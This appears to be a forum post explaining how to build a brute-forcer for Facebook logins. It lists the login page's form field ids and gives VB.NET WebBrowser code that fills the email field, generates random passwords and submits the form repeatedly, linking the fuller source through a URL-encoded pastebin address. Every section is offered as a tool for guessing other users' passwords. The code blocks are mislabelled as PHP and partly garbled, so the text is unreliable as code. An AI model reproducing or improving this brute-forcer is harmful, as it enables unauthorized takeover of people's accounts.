I will explain how to do a brute-forcer for Facebook (but can be used with other websites aswell). First, you have this code (got with inspect element from Facebook login page):
Note down the id: email.
Now the password:
Note down the id: pass.
Now the login button:
Note down the id: u_0_q and type: submit
These will be used like this:
Whole source code (needs improvement):
[paste]%70%61%73%74%65%62%69%6e%2e%63%6f%6d/1GNN8VDd[/paste]
PHP Code
<?php
<input type="email" class="inputtext" name="email" id="email" value="" tabindex="1">
Note down the id: email.
Now the password:
PHP Code
<?php
<input type="password" class="inputtext" name="pass" id="pass" tabindex="2">
Note down the id: pass.
Now the login button:
PHP Code
<?php
<input value="Log In" tabindex="4" type="submit" id="u_0_q">
Note down the id: u_0_q and type: submit
These will be used like this:
PHP Code
<?php
If WebBrowser1.Document.GetElementById("email") IsNot Nothing Then
WebBrowser1.Document.GetElementById("email").SetAttribute("value", "[email protected]")
End If
Dim genne As String
genne = GenerateRandomAlpha(15) 'Maximum password length'
ListBox1.Items.Add(genne)
If WebBrowser1.Document.GetElementById("password") IsNot Nothing Then
WebBrowser1.Document.GetElementById("password").SetAttribute("value", genne)
End If
If WebBrowser1.Document.GetElementById("u_0_q") IsNot Nothing Then
WebBrowser1.Document.InvokeScript("submit")
End If
Whole source code (needs improvement):
[paste]%70%61%73%74%65%62%69%6e%2e%63%6f%6d/1GNN8VDd[/paste]



